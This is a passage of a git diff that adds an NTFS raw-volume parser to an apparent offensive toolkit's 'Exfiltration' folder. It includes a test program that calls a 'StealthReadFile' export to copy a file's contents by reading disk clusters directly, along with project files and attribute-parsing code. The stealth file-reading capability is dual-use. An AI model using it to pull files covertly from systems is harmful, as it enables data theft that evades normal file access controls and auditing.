<cyb70289@gmail.com> + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_Attribute.h" +#include "NTFS_Common.h" +#include "NTFS_DataType.h" +#include "NTFS_FileRecord.h" + +using namespace std; + +typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*); + +int _tmain(int argc, _TCHAR* argv[]) +{ + HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll"); + HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile"); + + StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress; + + DWORD buffSize = 1024*1024; + BYTE* buffer = new BYTE[buffSize]; + DWORD bytesRead = 0; + ULONGLONG bytesLeft = 0; + DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft); + + cout << "Return value: " << ret << endl; + + ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary); + myFile.write((char*)buffer, bytesRead); + + return 0; +} + diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj new file mode 100644 index 0000000..e48d650 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj @@ -0,0 +1,165 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>NTFSParser</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>NotSet</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <SDLCheck>false</SDLCheck> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <SDLCheck>false</SDLCheck> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <SDLCheck>true</SDLCheck> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <SDLCheck>true</SDLCheck> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="NTFS.h" /> + <ClInclude Include="NTFS_Attribute.h" /> + <ClInclude Include="NTFS_Common.h" /> + <ClInclude Include="NTFS_DataType.h" /> + <ClInclude Include="NTFS_FileRecord.h" /> + <ClInclude Include="stdafx.h" /> + <ClInclude Include="targetver.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="NTFSParser.cpp" /> + <ClCompile Include="stdafx.cpp"> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> + </ClCompile> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters new file mode 100644 index 0000000..db46161 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters @@ -0,0 +1,51 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="targetver.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="NTFS.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="NTFS_Attribute.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="NTFS_Common.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="NTFS_DataType.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="NTFS_FileRecord.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ClCompile Include="stdafx.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="NTFSParser.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h new file mode 100644 index 0000000..19ab7ce --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 <cyb70289@gmail.com> + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList<DataRun_Entry> CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList<CIndexEntry> CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = (ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void 